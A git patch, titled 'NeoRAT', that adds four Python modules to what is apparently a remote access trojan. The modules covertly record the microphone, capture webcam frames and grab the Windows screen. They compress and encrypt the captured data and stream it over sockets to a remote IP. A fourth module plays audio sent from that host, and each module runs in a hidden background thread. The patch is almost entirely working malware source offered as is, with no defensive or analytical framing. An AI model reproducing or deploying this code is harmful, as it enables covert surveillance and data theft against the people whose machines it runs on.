From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/modules/audio.py | 61 ++++++++++++++++++++++++++++++++++++++++++++ foreign/modules/cam.py | 56 ++++++++++++++++++++++++++++++++++++++++ foreign/modules/stream.py | 60 +++++++++++++++++++++++++++++++++++++++++++ foreign/modules/talk.py | 65 +++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 242 insertions(+) create mode 100644 foreign/modules/audio.py create mode 100644 foreign/modules/cam.py create mode 100644 foreign/modules/stream.py create mode 100644 foreign/modules/talk.py (limited to 'foreign/modules') diff --git a/foreign/modules/audio.py b/foreign/modules/audio.py new file mode 100644 index 0000000..9e046af --- /dev/null +++ b/foreign/modules/audio.py @@ -0,0 +1,61 @@ +import threading +import pyaudio +import socket +import pickle +import zlib +import sys + +from foreign.parse.crash_exception_handling import * +from foreign.global_state import * + + +@crash_exception_handling +def audio_action(ip, port): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + mode = [True, 0, b''] + + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + except: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + + while True: + try: + client_msg = s.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + frame = stream.read(CHUNK) + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 9) + frame = encryption.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + mode = [True, 0, b''] + except: + stream.stop_stream() + stream.close() + p.terminate() + sys.exit(0) + + +def audio(ip, port): + threading.Thread(target=audio_action, args=(ip, port), daemon=True).start() + return {'message': 'Audio thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file diff --git a/foreign/modules/cam.py b/foreign/modules/cam.py new file mode 100644 index 0000000..796e19a --- /dev/null +++ b/foreign/modules/cam.py @@ -0,0 +1,56 @@ +import threading +import socket +import pickle +import zlib +import time +import cv2 + +from foreign.parse.crash_exception_handling import * +from foreign.global_state import * + + +@crash_exception_handling +def cam_action(ip, port, monitor, fps): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + mode = [True, 0, b''] + + cam = cv2.VideoCapture(monitor) + + while True: + last_time = time.time() + client_msg = s.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + check, frame = cam.read() + + if not check: + cam.release() + raise Exception('No cam') + + if fps: + cv2.putText(frame, f'{1.0 / (time.time() - last_time):.2f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 0), 2) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 9) + frame = encryption.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + mode = [True, 0, b''] + + +def cam(ip, port, monitor, fps): + threading.Thread(target=cam_action, args=(ip, port, monitor, fps), daemon=True).start() + return {'message': 'Cam thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file diff --git a/foreign/modules/stream.py b/foreign/modules/stream.py new file mode 100644 index 0000000..e5f0a3a --- /dev/null +++ b/foreign/modules/stream.py @@ -0,0 +1,60 @@ +import threading +import ctypes +import socket +import pickle +import numpy +import zlib +import time +import cv2 + +from desktopmagic.screengrab_win32 import getDisplayRects, getRectAsImage + +from foreign.parse.crash_exception_handling import * +from foreign.global_state import * + +user32 = ctypes.windll.user32 +user32.SetProcessDPIAware() + + +@crash_exception_handling +def stream_action(ip, port, resolution, monitor, fps): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + mode = [True, 0, b''] + + while True: + last_time = time.time() + client_msg = s.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + frame = getRectAsImage(getDisplayRects()[monitor]) + frame = numpy.array(frame) + frame = cv2.resize(frame, resolution) + frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + + if fps: + cv2.putText(frame, f'{1.0 / (time.time() - last_time):.2f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 0), 2) + + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 9) + frame = encryption.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + mode = [True, 0, b''] + + +def stream(ip, port, resolution, monitor, fps): + threading.Thread(target=stream_action, args=(ip, port, resolution, monitor, fps), daemon=True).start() + return {'message': 'Stream thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file diff --git a/foreign/modules/talk.py b/foreign/modules/talk.py new file mode 100644 index 0000000..1de9e56 --- /dev/null +++ b/foreign/modules/talk.py @@ -0,0 +1,65 @@ +import threading +import pyaudio +import socket +import pickle +import zlib +import sys + +from foreign.parse.crash_exception_handling import * +from foreign.global_state import * + + +@crash_exception_handling +def talk_action(ip, port): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + headersize = state['settings']['headersize'] + encryption = state['settings']['encryption'] + encoding = state['settings']['encoding'] + mode = [True, 0, b''] + + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + except: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + + while True: + try: + client_msg = s.recv(81920) + + if mode[0]: + mode[1] = int(client_msg[:headersize]) + mode[0] = False + + mode[2] += client_msg + + if len(mode[2])-headersize == mode[1]: + data = encryption.do_decrypt(mode[2][headersize:]) + data = zlib.decompress(data) + data = pickle.loads(data) + + stream.write(data) + + message = pickle.dumps(b' ') + message = zlib.compress(message, 1) + message = encryption.do_encrypt(message) + final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message + s.send(final_msg) + + mode = [True, 0, b''] + except: + stream.stop_stream() + stream.close() + p.terminate() + sys.exit(0) + + +def talk(ip, port): + threading.Thread(target=talk_action, args=(ip, port), daemon=True).start() + return {'message': 'Talk thread started', 'text_mode': 'primary', 'text_extras': {'point': True}} \ No newline at end of file -- cgit v1.2.3